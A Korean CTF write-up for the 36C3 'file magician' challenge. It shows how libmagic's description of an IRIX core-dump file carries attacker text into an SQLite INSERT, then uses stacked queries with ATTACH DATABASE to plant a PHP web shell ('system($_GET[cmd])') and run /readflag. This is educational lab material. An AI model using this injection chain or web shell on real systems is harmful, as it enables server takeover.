36C3 CTF 풀이 - file magician

문제 지문은 이렇습니다.

Description:

Finally (again), a minimalistic, open-source file hosting solution.

Download:

file magician-3ace41f3b0282a70.tar.xz (2.1 KiB)

Connection:

http://78.47.152.131:8000/

문제의 목표는 SUID 바이너리인 /readflag를 실행하여 /flag.txt를 읽는 것이군요.

index.php와 도커 컨테이너에 필요한 여러 파일들을 주는군요. 코드를 보면, 세션마다 다른 랜덤한 디렉터리에 SQLite DB 파일을 생성하고, 아래의 쿼리를 실행하고 있습니다.

$s = "INSERT INTO upload(info) VALUES ('"
  .(new finfo)->file($_FILES['file']['tmp_name'])
  . " ');";
$db->exec($s);
move_uploaded_file( $_FILES['file']['tmp_name'],
                    $d . $db->lastInsertId());

finfo->file($_FILES['file']['tmp_name'])의 결과를 바로 SQL 쿼리에 넣어주는군요. PHP의 매뉴얼을 읽어보면 이 함수는 주어진 파일이 어떤 형식인지 문자열로 나타내준다 합니다.

사실, PHP의 소스코드를 보다 보면 이는 libmagic을 사용한다는 점을 알 수 있는데요, file 커맨드와 동일한 라이브러리입니다.

$ file a.png
a.png: PNG image data, 640 x 480, 8-bit/color RGBA, non-interlaced

이렇게 말이죠. ":" 뒤에 있는 값이 그대로 리턴됩니다. 여기서 주목할 점은, 단순히 png라는 점 뿐만 아니라 파일 내용에 따라 너비, 높이 등이 나온다는 점인데요. 뭔가 상상이 되지 않나요?

출력에 작은따옴표가 있어서 문자열을 빠져나오게 될 상상이... 😏

따라서 출력이 어디서, 어떻게 오는지 알아보고 싶었습니다. libmagic 소스 코드 레포에 가서, "PNG image data"를 찾았습니다.

magic/Magdir/images
129 | 0	string		\x89PNG\x0d\x0a\x1a\x0a		PNG image data
130 | !:mime	image/png

그렇군요. 뭔가 룰셋이 있는 것 같습니다. 위의 룰셋은 PNG의 맨 처음에 시작하는 시그니처 바이트들을 검사하는 것 처럼 보이는군요. 보통 저렇게 파일이 시작하면 PNG이곤 하죠. 그럼 너비와 높이는 어디서 오는걸까요? 640 "x" 480이였으니, x를 찾아보면 되겠군요.

>16	belong		x		\b, %ld x
>20	belong		x		%ld,

바로 밑에 이런 문구가 있었습니다. 16바이트, 빅엔디안?인지 모르겠지만 long 형의 정수를 얻어와서 너비, 20바이트 째에 있는 정수를 높이로 사용한다는 것이군요. %ld라는거, C에서도 많이 본 포맷 문자열이군요. 뭔가 정수를 출력한다는 것은 알겠습니다.

가설이 맞는지 보기 위해, 실제 데이터와 비교해보죠!

$ xxd a.png | head -2
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
00000010: 0000 0280 0000 01e0 0806 0000 0035 d1dc  .............5..

16번째 바이트에는 0x280 (640)이, 20에는 0x1e0 (480)이 있군요. 대충 맞는 것 같습니다.

%d가 있다면, %s도 있지 않을까요? 같은 디렉터리 (magic/Magdir/)에서 %s를 찾아보기로 했습니다. 파일에서 문자열이 그대로 리턴이라도 된다면... 찾아보니 이런 룰셋이 있었습니다.

# 64bit core file
0	belong	0xdeadad40	IRIX 64-bit core dump
>4	belong	1		of
>16	string	>\0		'%s'

이 말대로라면, 파일 시작부분에 빅 엔디안으로 0xdeadad40, 1이 저장되어있으면 16바이트 위치에 있는 문자열을 '문자열' 형태로 출력해준다는 말이군요. 시험해보겠습니다.

import struct

open('irix.bin', 'wb').write(
	struct.pack(">LL", 0xdeadad40, 1) + "A" * 8 + 'jinmo123'
	)

두구두구두구...

$ file irix.bin
irix.bin: IRIX 64-bit core dump of 'jinmo123'

최상의 조건이군요! 뒤에 '가 붙긴 하지만, 앞에 '가 이미 붙기 때문에 쿼리 상에서 문자열을 바로 빠져나와 원하는 쿼리를 실행시키는 것이 가능합니다. SQL 인젝션이라 하죠!

$s = "INSERT INTO upload(info) VALUES ('"
  .(new finfo)->file($_FILES['file']['tmp_name'])
  . " ');";

== INSERT INTO upload(info) VALUES('<입력값>');

그런데 어디서 본건데, SQLite를 PHP에서 사용하면 쿼리를 여러 개 넣어도 다 실행은 된다고 하더군요. 가령, 입력에 세미콜론을 넣어서 쿼리를 여러개 만들어주면...

IRIX 64-bit core dump of '); DELETE FROM upload; --'
=> upload 테이블이 비워짐!

그리고 SQLite에서는 ATTACH DATABASE 구문으로 새로운 파일을 생성, 원하는 내용을 넣는 것이 가능합니다. #

-- IRIX 64-bit core dump of ');

.. ATTACH DATABASE 'shell.php' AS a; --'
=> shell.php가 생김!

.. CREATE TABLE a.a (payload TEXT);
.. INSERT INTO a.a VALUES ('<? system($_GET[cmd]); ?>');
=> 웹쉘이 업로드됨!!

이제 shell.php?cmd=/readflag 로 들어가면 /readflag 명령어의 결과를 보여주게 됩니다. 사실 ATTACH DATABASE같은 구문은 안전을 위해 지원이 안되는 경우가 많다고 해요.

다른 시도했던 방법들

한 가지 다루지 않은 부분이 있는데요,

move_uploaded_file( $_FILES['file']['tmp_name'],
                    $d . $db->lastInsertId());

$db->exec 이후에, 파일을 어디로 옮길지는 "lastInsertId"라는 값으로 지정됩니다. 이걸 먼저 시도해봤었는데요, 매뉴얼을 보면 제일 마지막에 넣은 row의 id가 리턴된다고 나와있습니다. 그래서 INSERT INTO를 한번 더 하되, 이번에는 PRIMARY KEY였던 id 필드까지 바꿔서 해봤는데, 그래도 숫자가 리턴이 되던 것이였습니다!

CREATE TABLE mytable(id TEXT PRIMARY KEY);
INSERT INTO mytable VALUES('yey');

=> yey 대신 정수가 리턴됨 (0)

답은 소스코드가 이미 알고 있을테니, 주저없이 바로 소스코드를 보러 갔습니다.

lastInsertId를 찾고, (ext/pdo/pdo_dbh.c)

static PHP_METHOD(PDO, lastInsertId)
{ ...
		size_t id_len;
		char *id;
		id = dbh->methods->last_id(dbh, name, &id_len);

last_id로 찾으니 안나와서 이 필드가 선언된 pdo_dbh_methods 구조체로 찾아보고,

static const struct pdo_dbh_methods sqlite_methods = {
	sqlite_handle_closer,
	sqlite_handle_preparer,
...
	pdo_sqlite_last_insert_id, <--

이 함수를 보니까, SQLite 3의 API에서 리턴된 정수를 문자열로 변환하더군요. 따라서 파일 경로를 바꾸는 것은 힘들어보였습니다.

sqlite3_int64 sqlite3_last_insert_rowid(sqlite3*);

static char *pdo_sqlite_last_insert_id(
    pdo_dbh_t *dbh, const char *name, size_t *len)
{
	pdo_sqlite_db_handle *H =
        (pdo_sqlite_db_handle *)dbh->driver_data;
	char *id;

	id = php_pdo_int64_to_str(sqlite3_last_insert_rowid(H->db));
	*len = strlen(id);
	return id;
}

어쩌면 다른 DB에서는 될지도 모르겠습니다. 읽어주셔서 감사합니다!